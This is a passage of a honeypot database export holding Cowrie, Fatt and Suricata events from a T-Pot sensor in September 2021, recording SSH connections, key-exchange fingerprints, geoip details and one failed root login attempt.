"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 43498, "dest_port": 22, "timestamp": "2021-09-20T11:08:17.749403", "@timestamp": "2021-09-20T11:08:17.749Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
24066	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:08:17.469194+03	2021-09-20 14:15:08.306472+03	{"_id": "TwbkAnwBvYTbRNuEchCi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 119.29.153.168:43498 (192.168.176.2:22) [session: be2922540f08]", "session": "be2922540f08", "@version": "1", "protocol": "ssh", "src_port": 43498, "dest_port": 22, "timestamp": "2021-09-20T11:08:17.469194Z", "@timestamp": "2021-09-20T11:08:17.469Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
24067	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:08:17.423916+03	2021-09-20 14:15:08.307473+03	{"_id": "UAbkAnwBvYTbRNuEchCi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "13492276f6cb", "@version": "1", "timestamp": "2021-09-20T11:08:17.423916Z", "@timestamp": "2021-09-20T11:08:17.423Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
24068	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:08:17.472275+03	2021-09-20 14:15:08.309509+03	{"_id": "UQbkAnwBvYTbRNuEchCi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "be2922540f08", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:08:17.472275Z", "@timestamp": "2021-09-20T11:08:17.472Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
24069	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:08:17.603614+03	2021-09-20 14:15:08.310471+03	{"_id": "UgbkAnwBvYTbRNuEchCi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "4b89872b6ba9", "@version": "1", "timestamp": "2021-09-20T11:08:17.603614Z", "@timestamp": "2021-09-20T11:08:17.603Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
24070	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:08:17.618463+03	2021-09-20 14:15:08.311499+03	{"_id": "UwbkAnwBvYTbRNuEchCi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.session.closed", "message": "Connection lost after 48 seconds", "session": "4b89872b6ba9", "@version": "1", "duration": 48.75400519371033, "timestamp": "2021-09-20T11:08:17.618463Z", "@timestamp": "2021-09-20T11:08:17.618Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
24071	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:08:17.749976+03	2021-09-20 14:15:08.312502+03	{"_id": "VAbkAnwBvYTbRNuEchCi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "be2922540f08", "@version": "1", "timestamp": "2021-09-20T11:08:17.749976Z", "@timestamp": "2021-09-20T11:08:17.749Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
24072	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:08:18.283277+03	2021-09-20 14:15:08.3135+03	{"_id": "VQbkAnwBvYTbRNuEchCi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [root/qwe123] failed", "session": "13492276f6cb", "@version": "1", "password": "qwe123", "username": "root", "timestamp": "2021-09-20T11:08:18.283277Z", "@timestamp": "2021-09-20T11:08:18.283Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
24073	115.72.130.93	109.199.241.180	Fatt	2021-09-20 14:08:23.695652+03	2021-09-20 14:15:08.31547+03	{"_id": "7gbkAnwBvYTbRNuEiRB_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 54048, "dest_port": 22, "timestamp": "2021-09-20T11:08:23.695652", "@timestamp": "2021-09-20T11:08:23.695Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24074	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:08:25.603726+03	2021-09-20 14:15:08.3165+03	{"_id": "FQbkAnwBvYTbRNuEkBFq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "http": {"url": "/", "length": 9652, "status": 200, "protocol": "HTTP/1.0", "http_method": "GET", "http_content_type": "text/html"}, "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "dest_ip": "124.121.6.234", "flow_id": 481250744272915, "@version": "1", "fileinfo": {"md5": "ac56291293ec6186a86afc3495db6b7f", "gaps": false, "size": 9652, "magic": "HTML document, ASCII text", "state": "CLOSED", "tx_id": 0, "stored": false, "filename": "/"}, "in_iface": "enp5s0", "src_port": 80, "app_proto": "http", "dest_port": 32818, "timestamp": "2021-09-20T11:08:25.603726Z", "@timestamp": "2021-09-20T11:08:25.603Z", "event_type": "fileinfo", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	fileinfo	\N	\N
24075	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:08:25.385674+03	2021-09-20 14:15:08.317501+03	{"_id": "GQbkAnwBvYTbRNuEkRFR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "124.121.6.234", "@version": "1", "protocol": "http", "src_port": 80, "dest_port": 32818, "fatt_http": {"server": "Python/3.7 aiohttp/3.4.4", "responseCode": "200", "contentLength": "9652", "responseVersion": "HTTP/1.0", "serverHeaderHash": "64bb43043bdf79c029df6ee1f380181d", "serverHeaderOrder": "content_type,set_cookie,content_length,date,server"}, "timestamp": "2021-09-20T11:08:25.385674", "@timestamp": "2021-09-20T11:08:25.385Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	http	\N	\N	\N	\N
24076	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:08:26.96688+03	2021-09-20 14:15:08.3185+03	{"_id": "JQbkAnwBvYTbRNuElRE6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": 